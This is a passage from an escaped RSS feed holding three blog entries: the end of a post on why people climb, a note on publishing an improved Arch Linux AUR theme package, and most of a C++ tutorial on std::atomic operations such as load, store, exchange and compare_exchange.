  &lt;li&gt;
    &lt;p&gt;Because it’s there&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Because I can&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Because it’s good for me&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Because it is “real” (raw, primal, etc.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For the mental challenges&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For the sense of accomplishment&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To get exhausted&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Because I must&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The above answers apply to many sports. Not just climbing. So, I’ll close with this quote from George Mallory:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you have to ask the reason why…you won’t understand the answer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There you have it - a completely non-conclusive reason for lead climbing, and climbing in general.&lt;/p&gt;

&lt;p&gt;Why do you climb?&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 02 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2014/11/02/a-delicate-mix-of-chess-and-bear-wrestling/</guid></item><item><title>I submitted my first package to the AUR today.</title><link>https://spindas.dreamwidth.org/717.html</link><description>The existing package for the &lt;a href="https://satya164.deviantart.com/art/elementary-Dark-GTK3-Theme-244257862"&gt;elementary Dark theme&lt;/a&gt;, aptly named &lt;a href="https://aur.archlinux.org/packages/elementary-dark-theme/"&gt;elementary-dark-theme&lt;/a&gt;, is... really bad. It downloads the source archive over HTTP instead of HTTPS, doesn't use checksums to verify the download, gives the wrong source URL&amp;nbsp;and license... So I put up &lt;a href="https://aur.archlinux.org/packages/elementary-dark/"&gt;elementary-dark&lt;/a&gt;, and filed a request to replace (&amp;quot;merge&amp;quot;) the old package with the new one. After doing a lot of work with Debian packaging in the past, I was pleasantly surprised by how easy the PKGBUILD format is to work with.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="comment count unavailable" height="12" src="https://www.dreamwidth.org/tools/commentcount?user=spindas&amp;amp;ditemid=717" style="vertical-align: middle;" width="30" /&gt; comments</description><author>spinda's dreamwidth</author><pubDate>Sat, 01 Nov 2014 10:36:15 GMT</pubDate><guid isPermaLink="true">https://spindas.dreamwidth.org/717.html</guid></item><item><title>Concurrency: Atomics</title><link>https://whackylabs.com/concurrency/2014/11/01/concurrency-atomics/</link><description>&lt;p&gt;I think we have covered most of the core concurrency concepts. With the
current knowledge we are good enough to tackle all real world
concurrency related problems. But this doesn’t means that we’ve covered
everything the thread libraries have to offer. And by thread libraries I
mean just the C++ standard thread library and libdispatch. For example,
we’re yet to see &lt;code class="language-plaintext highlighter-rouge"&gt;std::future&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;std::promise&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;std::packaged_task&lt;/code&gt;,
&lt;code class="language-plaintext highlighter-rouge"&gt;dispatch_barier&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;dispatch_source&lt;/code&gt; in action.&lt;/p&gt;

&lt;p&gt;Today let’s focus on the low level of the libraries, atomics. Atomics
are the lowest level that we can work with a thread library. Atomic
operations provide the lowest level guarantee of ordering of operations.
An operation is atomic if there is a guarantee that the operation would
be never be left by any thread in an indeterminate state.&lt;/p&gt;

&lt;p&gt;To make sure that the operation is atomic, internally the runtime could
be either not switch the thread while an atomic operation is underway or
maybe it simply uses a lock or whatever innovation the technology has to
offer. As a user of the library, you just get the guarantee that atomic
operation are indivisible.&lt;/p&gt;

&lt;p&gt;To facilitate atomicity the C++ standard library offers a few atomic
types. All the types offer a &lt;code class="language-plaintext highlighter-rouge"&gt;is_lock_free()&lt;/code&gt; function to test if the
operation is done really not using any locks. Only exception is
&lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt; which is the always lock free.&lt;/p&gt;

&lt;h3 id="atomic-types"&gt;Atomic Types&lt;/h3&gt;

&lt;p&gt;C++ provides a lot of atomic types. You can say that for almost all the
fundamental types have an atomic equivalent. (And by fundamental types I
mean bool and integers, no floating points, as you’ll see in a moment
why). You can use them directly or as &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic&amp;lt;&amp;gt;&lt;/code&gt; template
specialization. Here’s an example&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic_bool&lt;/span&gt; &lt;span class="n"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;b2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This same pattern is applied to all other fundamental types. Although,
you can use them as your usual fundamental types, there are few
operations that are not allowed. First striking constraint disallowed is
copy and assign operation. This code won’t compile&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;TryCopy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;b2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then how do we use these atomic types? This brings us to &lt;code class="language-plaintext highlighter-rouge"&gt;load()&lt;/code&gt; and
&lt;code class="language-plaintext highlighter-rouge"&gt;store()&lt;/code&gt; operations. All atomic types except &lt;code class="language-plaintext highlighter-rouge"&gt;atomic_flag&lt;/code&gt; offer &lt;code class="language-plaintext highlighter-rouge"&gt;load()&lt;/code&gt;,
&lt;code class="language-plaintext highlighter-rouge"&gt;store()&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;exchange()&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;compare_exchange_weak()&lt;/code&gt; and
&lt;code class="language-plaintext highlighter-rouge"&gt;compare_exchange_strong()&lt;/code&gt; operations. Let’s take a look at what do
they do.&lt;/p&gt;

&lt;h3 id="load-and-store"&gt;load and store&lt;/h3&gt;

&lt;p&gt;If you’ve ever done a bit of assembly, you must be familiar with load
and store operations. Load retrieves the data while store saves the
data.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;DoLoad&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// prints 10&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;DoStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// prints whatever n is&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="exchange"&gt;exchange&lt;/h3&gt;

&lt;p&gt;Apart from the basic load and store, you also get a bunch of exchange
operations. An exchange operation does exactly what you’d expect, store
a new value and return the old value.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;DoExchange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// j = i; i = n;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An exchange operation is basically a 3 step operation. First it loads
the data, second it updates the data with new data, and third it stores
the new data back. And this should explain why floating points are left
out from fundamental types. &lt;a href="https://randomascii.wordpress.com/category/floating-point/page/2/"&gt;Floating point types are not deterministic
at
comparison&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And since we’re dealing with the lowest level of concurrency operations.
Sometimes you want a greater control over the execution. Maybe you need
a stronger guarantee that the 3 step exchange was indeed done
successfully before the running thread’s just ran out of time.&lt;/p&gt;

&lt;p&gt;For such grained control the C++ standard library offers two more
exchange operations. &lt;code class="language-plaintext highlighter-rouge"&gt;compare_exchange_weak()&lt;/code&gt; and
&lt;code class="language-plaintext highlighter-rouge"&gt;compare_exchange_strong()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;compare_exchange_weak()&lt;/code&gt; returns &lt;code class="language-plaintext highlighter-rouge"&gt;false&lt;/code&gt;, if the exchange wasn’t
successful. This could be because if the running thread’s time just ran
out and was kicked out by the scheduler before it could finish the
steps. This is called as &lt;em&gt;spurious failure&lt;/em&gt;.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;DoExchangeWeak&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compare_exchange_weak&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;boolalpha&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt;
                &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// true 100 100 50&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So if you want the exchange to run successfully every time, you probably
need to put this operation under a loop. So that whenever the operation
fails, you keep trying until it succeeds.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compare_exchange_weak&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or, you can simply use &lt;code class="language-plaintext highlighter-rouge"&gt;compare_exchange_strong()&lt;/code&gt; which is guaranteed
to eliminate all spurious failures.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compare_exchange_strong&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Both of these functions return false whenever the expected value is not
same as the stored value. That is, whenever the comparison fails, and in
that case the expected updates to whatever was the actual value. For
example:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;DoExchangeWeak&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compare_exchange_weak&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;boolalpha&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// false 1 5 5&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For all fundamental types that support &lt;code class="language-plaintext highlighter-rouge"&gt;+=&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;-+&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;|=&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;amp;=&lt;/code&gt;, and &lt;code class="language-plaintext highlighter-rouge"&gt;^=&lt;/code&gt;, the
atomic types have equivalent &lt;code class="language-plaintext highlighter-rouge"&gt;fetch_add&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;fetch_sub&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;fetch_or&lt;/code&gt;,
&lt;code class="language-plaintext highlighter-rouge"&gt;fetch_and&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;fetch_xor&lt;/code&gt; operation available.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;DoFetchAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fetch_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;//for n = 50; output: 150, 100 =&amp;gt; j = i; i += n;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, if you want your custom type to work as an atomic type, you can
do that guaranteed that your custom type don’t do anything fancy. What
that means in practical world is that your type should work with
&lt;code class="language-plaintext highlighter-rouge"&gt;memcpy()&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;memcmp()&lt;/code&gt;. That is plain C types, no virtual table lookups.
Here’s trivial example:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;MyType&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
